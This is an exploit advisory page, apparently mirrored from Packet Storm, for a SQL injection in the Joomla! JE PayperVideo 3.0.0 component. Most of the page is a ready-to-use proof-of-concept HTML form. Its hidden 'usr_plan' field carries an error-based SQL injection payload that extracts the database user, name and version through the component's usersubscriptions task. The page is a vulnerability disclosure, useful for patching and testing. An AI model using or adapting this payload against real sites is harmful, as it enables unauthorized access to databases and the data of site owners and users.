Joomla! JE PayperVideo 3.0.0 SQL Injection

2018-02-0300:00:00

Ihsan Sencan

packetstormsecurity.com

0.003 Low

EPSS

Percentile

68.6%

JSON

`<!--  
# # # # #  
# Exploit Title: Joomla! Component JE PayperVideo 3.0.0 - SQL Injection  
# Dork: N/A  
# Date: 01.02.2018  
# Vendor Homepage: http://www.jextn.com/  
# Software Link: https://extensions.joomla.org/extensions/extension/multimedia/multimedia-players/je-paypervideo/  
# Software Download: http://www.jextn.com/index.php?option=com_docman&task=doc_download&gid=145&Itemid=276  
# Version: 3.0.0  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
#   
# Proof of Concept:   
#   
# 1)   
# # # # #  
-->  
<html>  
<body>  
<form action="http://localhost/[PATH]/index.php?option=com_jepaypervideo&view=myplans&task=myplans.usersubscriptions" method="post">  
<input name="usr_plan" value="(SELECT 66 FROM(SELECT COUNT(*),CONCAT(CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT (ELT(1=1,1))),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)" type="hidden">  
<input type="submit" value="Ver Ayari">  
</form>  
</body>  
</html>  
  
`

0.003 Low

EPSS

Percentile

68.6%

JSON

Related for PACKETSTORM:146209